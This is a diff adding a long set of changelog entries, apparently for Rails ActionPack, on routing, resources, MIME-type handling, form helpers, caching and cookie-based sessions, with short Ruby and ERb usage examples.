+* Added FormHelper#label.  #8641, #9850 [jcoglan, jarkko]
+
+* Added AtomFeedHelper (slightly improved from the atom_feed_helper plugin) [DHH]
+
+* Prevent errors when generating routes for uncountable resources, (i.e. sheep where plural == singluar).   map.resources :sheep now creates sheep_index_url for the collection and sheep_url for the specific item.  [Koz]
+
+* Added support for HTTP Only cookies (works in IE6+ and FF 2.0.5+) as an improvement for XSS attacks #8895 [Pratik Naik, Spakman]
+
+* Don't warn when a path segment precedes a required segment. Closes #9615. [Nicholas Seckar]
+
+* Fixed CaptureHelper#content_for to work with the optional content parameter instead of just the block #9434 [sandofsky/wildchild].
+
+* Added Mime::Type.register_alias for dealing with different formats using the same mime type [DHH]. Example:
+
+    class PostsController < ApplicationController
+      before_filter :adjust_format_for_iphone
+
+      def index
+        @posts = Post.find(:all)
+        
+        respond_to do |format|
+          format.html   # => renders index.html.erb and uses "text/html" as the content type
+          format.iphone # => renders index.iphone.erb and uses "text/html" as the content type
+        end
+      end
+
+
+      private
+        def adjust_format_for_iphone
+          if request.env["HTTP_USER_AGENT"] && request.env["HTTP_USER_AGENT"][/iPhone/]
+            request.format = :iphone
+          end
+        end
+    end
+
+* Added that render :json will automatically call .to_json unless it's being passed a string [DHH].
+
+* Autolink behaves well with emails embedded in URLs.  #7313 [Jeremy McAnally, Tarmo Tänav]
+
+* Fixed that default layouts did not take the format into account #9564 [Pratik Naik]
+
+* Fixed optimized route segment escaping.  #9562 [wildchild, Jeremy Kemper]
+
+* Added block acceptance to JavaScriptHelper#javascript_tag.  #7527 [Bob Silva, Tarmo Tänav, rmm5t]
+
+* root_path returns '/' not ''.  #9563 [Pratik Naik]
+
+* Fixed that setting request.format should also affect respond_to blocks [DHH]
+
+* Add option to force binary mode on tempfile used for fixture_file_upload.  #6380 [Jonathan Viney]
+
+* Fixed that resource namespaces wouldn't stick to all nested resources #9399 [pixeltrix]
+
+* Moved ActionController::Macros::AutoComplete into the auto_complete plugin on the official Rails svn.  #9512 [Pratik Naik]
+
+* Moved ActionController::Macros::InPlaceEditing into the in_place_editor plugin on the official Rails svn.  #9513 [Pratik Naik]
+
+* Removed deprecated form of calling xml_http_request/xhr without the first argument being the http verb [DHH]
+
+* Removed deprecated methods [DHH]:
+
+  - ActionController::Base#keep_flash (use flash.keep instead)
+  - ActionController::Base#expire_matched_fragments (just call expire_fragment with a regular expression)
+  - ActionController::Base.template_root/= methods (use ActionController#Base.view_paths/= instead)
+  - ActionController::Base.cookie (use ActionController#Base.cookies[]= instead)
+
+* Removed the deprecated behavior of appending ".png" to image_tag/image_path calls without an existing extension [DHH]
+
+* Removed ActionController::Base.scaffold -- it went through the whole idea of scaffolding (card board walls you remove and tweak one by one). Use the scaffold generator instead (it does resources too now!) [DHH]
+
+* Optimise named route generation when using positional arguments.  [Koz]
+
+  This change delivers significant performance benefits for the most
+  common usage scenarios for modern rails applications by avoiding the
+  costly trip through url_for.  Initial benchmarks indicate this is
+  between 6 and 20 times as fast.
+
+* Explicitly require active_record/query_cache before using it.  [Jeremy Kemper]
+
+* Fix layout overriding response status.  #9476 [lotswholetime]
+
+* Add field_set_tag for generating field_sets, closes #9477. [djanowski]
+
+* Allow additional parameters to be passed to named route helpers when using positional arguments.  Closes #8930 [ian.w.white at gmail.com]
+
+* Make render :partial work with a :collection of Hashes, previously this wasn't possible due to backwards compatibility restrictions.  [Pratik Naik]
+
+* request.host works with IPv6 addresses.  #9458 [yuya]
+
+* Fix bug where action caching sets the content type to the ActionCachePath object.  Closes #9282 [mindforge]
+
+* Find layouts even if they're not in the first view_paths directory.  Closes #9258 [caio]
+
+* Major improvement to the documentation for the options / select form helpers. Closes #9038 [kampers, jardeon, wesg]
+
+* Fix number_to_human_size when using different precisions. Closes #7536. [RichardStrand, mpalmer]
+
+* Added partial layouts (see example in action_view/lib/partials.rb) [DHH]
+
+* Allow you to set custom :conditions on resource routes.  [Rick]
+
+* Fixed that file.content_type for uploaded files would include a trailing \r #9053 [bgreenlee]
+
+* url_for now accepts a series of symbols representing the namespace of the record [Josh Knowles]
+
+* Make :trailing_slash work with query parameters for url_for. Closes #4004 [nov]
+
+* Make sure missing template exceptions actually say which template they were looking for.  Closes #8683 [dasil003]
+
+* Fix errors with around_filters which do not yield, restore 1.1 behaviour with after filters. Closes #8891 [skaes]
+
+  After filters will *no longer* be run if an around_filter fails to yield, users relying on
+  this behaviour are advised to put the code in question after a yield statement in an around filter.
+  
+
+* Allow you to delete cookies with options. Closes #3685 [Josh Peek, Chris Wanstrath]
+
+* Allow you to render views with periods in the name.  Closes #8076 [Norbert Crombach]
+
+  render :partial => 'show.html.erb'
+
+* Improve capture helper documentation.  #8796 [kampers]
+
+* Prefix nested resource named routes with their action name, e.g. new_group_user_path(@group) instead of group_new_user_path(@group). The old nested action named route is deprecated in Rails 1.2.4.  #8558 [David Chelimsky]
+
+* Allow sweepers to be created solely for expiring after controller actions, not model changes [DHH]
+
+* Added assigns method to ActionController::Caching::Sweeper to easily access instance variables on the controller [DHH]
+
+* Give the legacy X-POST_DATA_FORMAT header greater precedence during params parsing for backward compatibility.  [Jeremy Kemper]
+
+* Fixed that link_to with an href of # when using :method will not allow for click-through without JavaScript #7037 [Steven Bristol, Josh Peek]
+
+* Fixed that radio_button_tag should generate unique ids #3353 [Bob Silva, Rebecca, Josh Peek]
+
+* Fixed that HTTP authentication should work if the header is called REDIRECT_X_HTTP_AUTHORIZATION as well #6754 [mislaw]
+
+* Don't mistakenly interpret the request uri as the query string.  #8731 [Pratik Naik, Jeremy Kemper]
+
+* Make ActionView#view_paths an attr_accessor for real this time.  Also, don't perform an unnecessary #compact on the @view_paths array in #initialize.  Closes #8582 [dasil003, julik, rick]
+
+* Tolerate missing content type on multipart file uploads. Fix for Safari 3.  [Jeremy Kemper]
+
+* Deprecation: remove pagination. Install the classic_pagination plugin for forward compatibility, or move to the superior will_paginate plugin.  #8157 [Josh Peek]
+
+* Action caching is limited to GET requests returning 200 OK status.  #3335 [tom at craz8.com, halfbyte, Dan Kubb, Josh Peek]
+
+* Improve Text Helper test coverage.  #7274 [Rob Sanheim, Josh Peek]
+
+* Improve helper test coverage.  #7208, #7212, #7215, #7233, #7234, #7235, #7236, #7237, #7238, #7241, #7243, #7244 [Rich Collins, Josh Peek]
+
+* Improve UrlRewriter tests.  #7207 [Rich Collins]
+
+* Resources: url_for([parent, child]) generates /parents/1/children/2 for the nested resource. Likewise with the other simply helpful methods like form_for and link_to.  #6432 [mhw, Jonathan Vaught, lotswholetime]
+
+* Assume html format when rendering partials in RJS. #8076 [Rick]
+
+* Don't double-escape url_for in views.  #8144 [Rich Collins, Josh Peek]
+
+* Allow JSON-style values for the :with option of observe_field.  Closes #8557 [kommen]
+
+* Remove RAILS_ROOT from backtrace paths.  #8540 [Tim Pope]
+
+* Routing: map.resource :logo routes to LogosController so the controller may be reused for multiple nestings or namespaces.  [Jeremy Kemper]
+
+* render :partial recognizes Active Record associations as Arrays.  #8538 [Kamal Fariz Mahyuddin]
+
+* Routing: drop semicolon and comma as route separators.  [Jeremy Kemper]
+
+* request.remote_ip understands X-Forwarded-For addresses with nonstandard whitespace.  #7386 [moses]
+
+* Don't prepare response when rendering a component.  #8493 [jsierles]
+
+* Reduce file stat calls when checking for template changes.  #7736 [alex]
+
+* Added custom path cache_page/expire_page parameters in addition to the options hashes [DHH]. Example:
+
+    def index
+      caches_page(response.body, "/index.html")
+    end
+
+* Action Caching speedup.  #8231 [skaes]
+
+* Wordsmith resources documentation.  #8484 [marclove]
+
+* Fix syntax error in code example for routing documentation. #8377. [Norbert Crombach]
+
+* Routing: respond with 405 Method Not Allowed status when the route path matches but the HTTP method does not.  #6953 [Josh Peek, defeated, Dan Kubb, Coda Hale]
+
+* Add support for assert_select_rjs with :show and :hide. #7780 [dchelimsky]
+
+* Make assert_select's failure messages clearer about what failed. #7779 [dchelimsky]
+
+* Introduce a default respond_to block for custom types.  #8174 [Josh Peek]
+
+* auto_complete_field takes a :method option so you can GET or POST.  #8120 [zapnap]
+
+* Added option to suppress :size when using :maxlength for FormTagHelper#text_field #3112 [Tim Pope]
+
+* catch possible WSOD when trying to render a missing partial. Closes #8454 [Catfish]
+
+* Rewind request body after reading it, if possible.  #8438 [s450r1]
+
+* Resource namespaces are inherited by their has_many subresources.  #8280 [marclove, ggarside]
+
+* Fix filtered parameter logging with nil parameter values.  #8422 [choonkeat]
+
+* Integration tests: alias xhr to xml_http_request and add a request_method argument instead of always using POST.  #7124 [Nik Wakelin, Francois Beausoleil, Wizard]
+
+* Document caches_action.  #5419 [Jarkko Laine]
+
+* Update to Prototype 1.5.1.  [Sam Stephenson]
+
+* Allow routes to be decalred under namespaces [Tobias Luetke]: 
+  
+  map.namespace :admin do |admin|
+    admin.root :controller => "products"       
+    admin.feed 'feed.xml', :controller => 'products', :action => 'feed', :format => 'xml'
+  end
+  
+* Update to script.aculo.us 1.7.1_beta3.  [Thomas Fuchs]
+
+* observe_form always sends the serialized form.  #5271 [manfred, normelton at gmail.com]
+
+* Parse url-encoded and multipart requests ourselves instead of delegating to CGI.  [Jeremy Kemper]
+
+* select :include_blank option can be set to a string instead of true, which just uses an empty string.  #7664 [Wizard]
+
+* Added url_for usage on render :location, which allows for record identification [DHH]. Example:
+
+    render :xml => person, :status => :created, :location => person
+  
+  ...expands the location to person_url(person).
+
+* Introduce the request.body stream. Lazy-read to parse parameters rather than always setting RAW_POST_DATA. Reduces the memory footprint of large binary PUT requests.  [Jeremy Kemper]
+
+* Add some performance enhancements to ActionView.
+
+  * Cache base_paths in @@cached_base_paths
+  * Cache template extensions in @@cached_template_extension
+  * Remove unnecessary rescues
+
+* Assume that rendered partials go by the HTML format by default
+
+  def my_partial
+    render :update do |page|
+      # in this order
+      # _foo.html.erb
+      # _foo.erb
+      # _foo.rhtml
+      page.replace :foo, :partial => 'foo'
+    end
+  end
+
+* Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for [DHH]. Examples:
+
+    <% form_for(@post) do |f| %>
+      ...
+    <% end %>
+  
+  This will expand to be the same as:
+  
+    <% form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
+      ...
+    <% end %>
+  
+  And for new records:
+  
+    <% form_for(Post.new) do |f| %>
+      ...
+    <% end %>
+  
+  This will expand to be the same as:
+  
+    <% form_for :post, @post, :url => posts_path, :html => { :class => "new_post", :id => "new_post" } do |f| %>
+      ...
+    <% end %>
+
+* Rationalize route path escaping according to RFC 2396 section 3.3.  #7544, #8307. [Jeremy Kemper, chrisroos, begemot, jugend]
+
+* Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for [DHH]. Examples:
+
+    redirect_to(post)         # => redirect_to(posts_url(post))         => Location: http://example.com/posts/1
+    link_to(post.title, post) # => link_to(post.title, posts_url(post)) => <a href="/posts/1">Hello world</a>
+
+  Any method that calls url_for on its parameters will automatically benefit from this. 
+
+* Removed deprecated parameters_for_method_reference concept (legacy from before named routes) [DHH]
+
+* Add ActionController::Routing::Helpers, a module to contain common URL helpers such as polymorphic_url. [Nicholas Seckar]
+
+* Included the HttpAuthentication plugin as part of core (ActionController::HttpAuthentication::Basic) [DHH]
+
+* Modernize documentation for form helpers. [jeremymcanally]
+
+* Add brief introduction to REST to the resources documentation. [fearoffish]
+
+* Fix various documentation typos throughout ActionPack. [Henrik N]
+
+* Enhance documentation and add examples for url_for. [jeremymcanally]
+
+* Fix documentation typo in routes. [Norbert Crombach, pam]
+
+* Sweep flash when filter chain is halted. [Caio Chassot <lists at v2studio.com>]
+
+* Fixed that content_tag with a block will just return the result instead of concate it if not used in a ERb view #7857, #7432 [michael.niessner]
+
+* Replace the current block/continuation filter chain handling by an implementation based on a simple loop.  #8226 [Stefan Kaes]
+
+* Update UrlWriter to accept :anchor parameter. Closes #6771. [octopod]
+
+* Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements [DHH]. Example:
+
+    <% div_for(post) do %>     <div id="post_45" class="post">
+      <%= post.body %>           What a wonderful world!
+    <% end %>                  </div>
+
+* Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id [DHH]. Example:
+
+    format.js do
+      # Calls: new Effect.fade('post_45');
+      render(:update) { |page| page[post].visual_effect(:fade) }
+    end
+
+* Added RecordIdentifier to enforce view conventions on records for dom ids, classes, and partial paths [DHH]
+
+* Added map.namespace to deal with the common situation of admin sections and the like [DHH]
+
+    Before:
+    
+      map.resources :products, :path_prefix => "admin", :controller => "admin/products", :collection => { :inventory => :get }, :member => { :duplicate => :post }
+      map.resources :tags, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_tags"
+      map.resources :images, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_images"
+      map.resources :variants, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_variants"
+
+    After:
+    
+      map.namespace(:admin) do |admin|
+        admin.resources :products,
+          :collection => { :inventory => :get },
+          :member     => { :duplicate => :post },
+          :has_many   => [ :tags, :images, :variants ]
+      end
+
+* Added :name_prefix as standard for nested resources [DHH]. WARNING: May be backwards incompatible with your app
+
+    Before:
+
+      map.resources :emails do |emails|
+        emails.resources :comments,    :name_prefix => "email_"
+        emails.resources :attachments, :name_prefix => "email_"
+      end
+      
+    After:
+
+      map.resources :emails do |emails|
+        emails.resources :comments
+        emails.resources :attachments
+      end
+    
+    This does mean that if you intended to have comments_url go to /emails/5/comments, then you'll have to set :name_prefix to nil explicitly.
+
+* Added :has_many and :has_one for declaring plural and singular resources beneath the current [DHH]
+
+    Before:
+      
+      map.resources :notes do |notes|
+        notes.resources :comments
+        notes.resources :attachments
+        notes.resource :author
+      end
+    
+    After:
+    
+      map.resources :notes, :has_many => [ :comments, :attachments ], :has_one => :author
+
+* Added that render :xml will try to call to_xml if it can [DHH]. Makes these work:
+
+    render :xml => post
+    render :xml => comments
+
+* Added :location option to render so that the common pattern of rendering a response after creating a new resource is now a 1-liner [DHH]
+
+    render :xml => post.to_xml, :status => :created, :location => post_url(post)
+
+* Ensure that render_text only adds string content to the body of the response [DHH]
+
+* Return the string representation from an Xml Builder when rendering a partial. Closes #5044 [Tim Pope]
+
+* Fixed that parameters from XML should also be presented in a hash with indifferent access [DHH]
+
+* Tweak template format rules so that the ACCEPT header is only used if it's text/javascript.  This is so ajax actions without a :format param get recognized as Mime::JS. [Rick]
+
+* The default respond_to blocks don't set a specific extension anymore, so that both 'show.rjs' and 'show.js.rjs' will work. [Rick]
+
+* Allow layouts with extension of .html.erb.  Closes #8032 [Josh Knowles]
+
+* Change default respond_to templates for xml and rjs formats. [Rick]
+
+  * Default xml template goes from #{action_name}.rxml => #{action_name}.xml.builder.
+  * Default rjs template goes from #{action_name}.rjs => #{action_name}.js.rjs.
+  
+  You can still specify your old templates:
+  
+    respond_to do |format|
+      format.xml do
+        render :action => "#{action_name}.rxml"
+      end
+    end
+
+* Fix WSOD due to modification of a formatted template extension so that requests to templates like 'foo.html.erb' fail on the second hit.  [Rick]
+
+* Fix WSOD when template compilation fails [Rick]
+
+* Change ActionView template defaults.  Look for templates using the request format first, such as "show.html.erb" or "show.xml.builder", before looking for the old defaults like "show.erb" or "show.builder" [Rick]
+
+* Highlight helper highlights one or many terms in a single pass.  [Jeremy Kemper]
+
+* Dropped the use of ; as a separator of non-crud actions on resources and went back to the vanilla slash. It was a neat idea, but lots of the non-crud actions turned out not to be RPC (as the ; was primarily intended to discourage), but legitimate sub-resources, like /parties/recent, which didn't deserve the uglification of /parties;recent. Further more, the semicolon caused issues with caching and HTTP authentication in Safari. Just Not Worth It [DHH]
+
+* Added that FormTagHelper#submit_tag will return to its original state if the submit fails and you're using :disable_with [DHH]
+
+* Cleaned up, corrected, and mildly expanded ActionPack documentation.  Closes #7190 [jeremymcanally]
+
+* Small collection of ActionController documentation cleanups.  Closes #7319 [jeremymcanally]
+
+* Make sure the route expiry hash is constructed by comparing the to_param-ized values of each hash. [Jamis Buck]
+
+* Allow configuration of the default action cache path for #caches_action calls.  [Rick Olson]
+
+  class ListsController < ApplicationController
+    caches_action :index, :cache_path => Proc.new { |controller| 
+      controller.params[:user_id] ? 
+        controller.send(:user_lists_url, c.params[:user_id]) :
+        controller.send(:lists_url) }
+  end
+
+* Performance: patch cgi/session/pstore to require digest/md5 once rather than per #initialize.  #7583 [Stefan Kaes]
+
+* Cookie session store: ensure that new sessions doesn't reuse data from a deleted session in the same request.  [Jeremy Kemper]
+
+* Deprecation: verification with :redirect_to => :named_route shouldn't be deprecated.  #7525 [Justin French]
+
+* Cookie session store: raise ArgumentError when :session_key is blank.  [Jeremy Kemper]
+
+* Deprecation: remove deprecated request, redirect, and dependency methods. Remove deprecated instance variables. Remove deprecated url_for(:symbol, *args) and redirect_to(:symbol, *args) in favor of named routes. Remove uses_component_template_root for toplevel components directory. Privatize deprecated render_partial and render_partial_collection view methods. Remove deprecated link_to_image, link_image_to, update_element_function, start_form_tag, and end_form_tag helper methods. Remove deprecated human_size helper alias.  [Jeremy Kemper]
+
+* Consistent public/protected/private visibility for chained methods.  #7813 [Dan Manges]
+
+* Prefer MIME constants to strings.  #7707 [Dan Kubb]
+
+* Allow array and hash query parameters. Array route parameters are converted/to/a/path as before.  #6765, #7047, #7462 [bgipsy, Jeremy McAnally, Dan Kubb, brendan]
+
+# Add a #dbman attr_reader for CGI::Session and make CGI::Session::CookieStore#generate_digest public so it's easy to generate digests
+using the cookie store's secret. [Rick]
+
+* Added Request#url that returns the complete URL used for the request [DHH]
+
+* Extract dynamic scaffolding into a plugin.  #7700 [Josh Peek]
+
+* Added user/password options for url_for to add http authentication in a URL [DHH]
+
+* Fixed that FormTagHelper#text_area_tag should disregard :size option if it's not a string [Brendon Davidson]
+
+* Set the original button value in an attribute of the button when using the :disable_with key with submit_tag, so that the original can be restored later. [Jamis Buck]
+
+* session_enabled? works with session :off.  #6680 [Catfish]
+
+* Added :port and :host handling to UrlRewriter (which unified url_for usage, regardless of whether it's called in view or controller) #7616 [alancfrancis]
+
+* Allow send_file/send_data to use a registered mime type as the :type parameter #7620 [jonathan]
+
+* Allow routing requirements on map.resource(s) #7633 [quixoten]. Example:
+
+  map.resources :network_interfaces, :requirements => { :id => /^\d+\.\d+\.\d+\.\d+$/ }
+
+* Cookie session store: empty and unchanged sessions don't write a cookie.  [Jeremy Kemper]
+
+* Added helper(:all) as a way to include all helpers from app/helpers/**/*.rb in ApplicationController [DHH]
+
+* Integration tests: introduce methods for other HTTP methods.  #6353 [caboose]
+
+* Routing: better support for escaped values in route segments.  #7544 [Chris
+Roos]
+
+* Introduce a cookie-based session store as the Rails default. Sessions typically contain at most a user_id and flash message; both fit within the 4K cookie size limit. A secure message digest is included with the cookie to ensure data integrity (a user cannot alter his user_id without knowing the secret key included in the digest). If you have more than 4K of session data or don't want your data to be visible to the user, pick another session store.  Cookie-based sessions are dramatically faster than the alternatives.   [Jeremy Kemper]
+
+  Example config/environment.rb:
+    # Use an application-wide secret key and the default SHA1 message digest.
+    config.action_controller.session = { :secret => "can't touch this" }
+
+    # Store a secret key per user and employ a stronger message digest.
+    config.action_controller.session = {
+      :digest => 'SHA512',
+      :secret => Proc.new { User.current.secret_key }
+    }
+
+* Added .erb and .builder as preferred aliases to the now deprecated .rhtml and .rxml extensions [Chad Fowler]. This is done to separate the renderer from the mime type. .erb templates are often used to render emails, atom, csv, whatever. So labeling them .rhtml doesn't make too much sense. The same goes for .rxml, which can be used to build everything from HTML to Atom to whatever. .rhtml and .rxml will continue to work until Rails 3.0, though. So this is a slow phasing out. All generators and examples will start using the new aliases, though.
+
+* Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag [DHH]. Examples:
+
+    stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
+      <link href="/stylesheets/style1.css"  media="screen" rel="Stylesheet" type="text/css" />
+      <link href="/stylesheets/styleB.css"  media="screen" rel="Stylesheet" type="text/css" />
+      <link href="/stylesheets/styleX2.css" media="screen" rel="Stylesheet" type="text/css" />
+ 
+    stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
+      <link href="/stylesheets/all.css"  media="screen" rel="Stylesheet" type="text/css" />
+
+  ...when caching is on, all.css is the concatenation of style1.css, styleB.css, and styleX2.css.
+  Same deal for JavaScripts.
+
+* Work around the two connection per host browser limit: use asset%d.myapp.com to distribute asset requests among asset[0123].myapp.com. Use a DNS wildcard or CNAMEs to map these hosts to your asset server. See http://www.die.net/musings/page_load_time/ for background.  [Jeremy Kemper]
+
+* Added default mime type for CSS (Mime::CSS) [DHH]
+
+* Added that rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified and the response body will be set to an empty string. [DHH]
+
+* Added X-Runtime to all responses with the request run time [DHH]
+
+* Add Mime::Type convenience methods to check the current mime type. [Rick]
+
+  request.format.html? # => true if Mime::HTML
+  request.format.jpg?  # => true if Mime::JPG
+
+  # ActionController sample usage:
+  # the session will be disabled for non html/ajax requests
+  session :off, :if => Proc.new { |req| !(req.format.html? || req.format.js?) }
+
+* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id.  [Stefan Kaes]
+
+* Add a :url_based_filename => true option to ActionController::Streaming::send_file, which allows URL-based filenames.  [Thomas Fuchs]
+
+* Fix that FormTagHelper#submit_tag using :disable_with should trigger the onsubmit handler of its form if available [DHH]
+
+* Fix #render_file so that TemplateError is called with the correct params and you don't get the WSOD.  [Rick]
+
+* Fix issue with deprecation messing up #template_root= usage.  Add #prepend_view_path and #append_view_path to allow modification of a copy of the
+superclass' view_paths.  [Rick]
+
+* Allow Controllers to have multiple view_paths instead of a single template_root.  Closes #2754 [John Long]
+
+* Add much-needed html-scanner tests.  Fixed CDATA parsing bug. [Rick]
+
+* improve error message for Routing for named routes.  Closes #7346 [Rob Sanheim]
+
+* Added enhanced docs to routing assertions.  Closes #7359 [Rob Sanheim]
+
+* fix form_for example in ActionController::Resources documentation.  Closes #7362 [gnarg]
+
+* Make sure that the string returned by TextHelper#truncate is actually a string, not a char proxy -- that should only be used internally while working on a multibyte-safe way of truncating [DHH]
+
+* Added FormBuilder#submit as a delegate for FormTagHelper#submit_tag [DHH]
+
+* Allow Routes to generate all urls for a set of options by specifying :generate_all => true. Allows caching to properly set or expire all paths for a resource. References #1739. [Nicholas Seckar]
+
+* Change the query parser to map empty GET params to "" rather than nil. Closes #5694. [Nicholas Seckar]
+
+* date_select and datetime_select take a :default option.  #7052 [nik.wakelin]
+    date_select "post", "written_on", :default => 3.days.from_now
+    date_select "credit_card", "bill_due", :default => { :day => 20 }
+
+* select :multiple => true suffixes the attribute name with [] unless already suffixed.  #6977 [nik.kakelin, ben, julik]
+
+* Improve routes documentation.  #7095 [zackchandler]
+
+* mail_to :encode => 'hex' also encodes the mailto: part of the href attribute as well as the linked email when no name is given.  #2061 [Jarkko Laine, pfc.pille at gmx.net]
+
+* Resource member routes require :id, eliminating the ambiguous overlap with collection routes.  #7229 [dkubb]
+
+* Remove deprecated assertions.  [Jeremy Kemper]
+
+* Change session restoration to allow namespaced models to be autoloaded. Closes #6348. [Nicholas Seckar]
+
+* Fix doubly appearing parameters due to string and symbol mixups. Closes #2551. [aeden]
+
+* Fix overly greedy rescues when loading helpers. Fixes #6268. [Nicholas Seckar]
+
+* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 [ceefour]
+
+* Autolinking recognizes trailing and embedded . , : ;  #7354 [Jarkko Laine]
+
+* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268.  [imajes]
+
+* Update to script.aculo.us 1.7.0.  [Thomas Fuchs]
+
+* Modernize cookie testing code, and increase coverage (Heckle++) #7101 [Kevin Clark]
+
+* Improve Test Coverage for ActionController::Routing::Route#matches_controller_and_action? (Heckle++) #7115 [Kevin Clark]
+
+* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 [Kevin Clark]
+
+* Fix #distance_of_time_in_words to report accurately against the Duration class.  #7114 [eventualbuddha]
+
+* Refactor #form_tag to allow easy extending.  [Rick]
+
+* Update to Prototype 1.5.0. [Sam Stephenson]
+
+* RecordInvalid, RecordNotSaved => 422 Unprocessable Entity, StaleObjectError => 409 Conflict.  #7097 [dkubb]
+
+* Allow fields_for to be nested inside form_for, so that the name and id get properly constructed [Jamis Buck]
+
+* Allow inGroupsOf and eachSlice to be called through rjs. #7046 [Cody Fauser]
+
+* Allow exempt_from_layout :rhtml.  #6742, #7026 [Dan Manges, Squeegy]
+
+* Recognize the .txt extension as Mime::TEXT [Rick]
+
+* Fix parsing of array[] CGI parameters so extra empty values aren't included.  #6252 [Nicholas Seckar, aiwilliams, brentrowland]
+
+* link_to_unless_current works with full URLs as well as paths.  #6891 [Jarkko Laine, manfred, idrifter]
+
+* Lookup the mime type for #auto_discovery_link_tag in the Mime::Type class.  Closes #6941 [Josh Peek]
+
+* Fix bug where nested resources ignore a parent singleton parent's path prefix.  Closes #6940 [Dan Kubb]
+
+* Fix no method error with error_messages_on.  Closes #6935 [nik.wakelin Koz]
+
+* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs.  Closes #6922 [Steven Bristol]
+
+* Slight doc tweak to #prepend_filter.  Closes #6493 [Jeremy Voorhis]
+
+* Add more extensive documentation to the AssetTagHelper.  Closes #6452 [Bob Silva]
+
+* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper.  Closes #6394 [Bob Silva]
+
+* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 [Jan Prill]
+
+* Make sure html_document is reset between integration test requests. [ctm]
+
+* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError.  [Josh Susser]
+
+* Routing uses URI escaping for path components and CGI escaping for query parameters.  [darix, Jeremy Kemper]
+
+* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting.  Closes #6128.  [Rick Olson]
+
+* Singleton resources: POST /singleton => create, GET /singleton/new => new.  [Jeremy Kemper]
+
+* Use 400 Bad Request status for unrescued ActiveRecord::RecordInvalid exceptions.  [Jeremy Kemper]
+
+* Silence log_error deprecation warnings from inspecting deprecated instance variables.  [Nate Wiger]
+
+* Only cache GET requests with a 200 OK response.  #6514, #6743 [RSL, anamba]
+
+* Add a 'referer' attribute to TestRequest. [Jamis Buck]
+
+* Ensure render :json => ... skips the layout.  Closes #6808 [Josh Peek]
+
+* Fix HTML::Node to output double quotes instead of single quotes.  Closes #6845 [mitreandy]
+
+* Correctly report which filter halted the chain.  #6699 [Martin Emde]
+
+* Fix a bug in Routing where a parameter taken from the path of the current request could not be used as a query parameter for the next. Closes #6752. [Nicholas Seckar]
+
+* Unrescued ActiveRecord::RecordNotFound responds with 404 instead of 500.  [Jeremy Kemper]
+
+* Improved auto_link to match more valid urls correctly [Tobias Luetke]
+
+* Add singleton resources. [Rick Olson]
+
+  map.resource :account
+  
+  GET /account
+  GET /account;edit
+  UPDATE /account
+  DELETE /account
+
+* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument.  #4185 [Scott Raymond, eventualbuddha]
+    # application/json response with body 'Element.show({:name: "David"})'
+    respond_to do |format|
+      format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
+    end
+
+* Makes :discard_year work without breaking multi-attribute parsing in AR.  #1260, #3800 [sean at ardismg.com, jmartin at desertflood.com, stephen at touset.org, Bob Silva]
+
+* Adds html id attribute to date helper elements.  #1050, #1382 [mortonda at dgrmm.net, David North, Bob Silva]
+
+* Add :index and @auto_index capability to model driven date/time selects.  #847, #2655 [moriq, Doug Fales, Bob Silva]
+
+* Add :order to datetime_select, select_datetime, and select_date.  #1427 [Timothee Peignier, patrick at lenz.sh, Bob Silva]
+
+* Added time_select to work with time values in models. Update scaffolding.  #2489, #2833 [Justin Palmer, Andre Caum, Bob Silva]
+
+* Added :include_seconds to select_datetime, datetime_select and time_select.  #2998 [csn, Bob Silva]
+
+* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization.  #363 [tomasj, Bob Silva]
+
+* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC.  #3811 [Bob Silva]
+
+* Added map.root as an alias for map.connect '' [DHH]
+
+* Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses [DHH]. Examples:
+
+    GET /posts/5.xml   | request.format => Mime::XML
+    GET /posts/5.xhtml | request.format => Mime::HTML
+    GET /posts/5       | request.format => request.accepts.first (usually Mime::HTML for browsers)
+
+* Added the option for extension aliases to mime type registration [DHH]. Example (already in the default routes):
+
+    Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
+  
+  ...will respond on both .html and .xhtml.
+
+* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status.  [Jeremy Kemper]
+
+* Added CSV to Mime::SET so that respond_to csv will work [Cody Fauser]
+
+* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [DHH]
+
+* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [DHH]
+
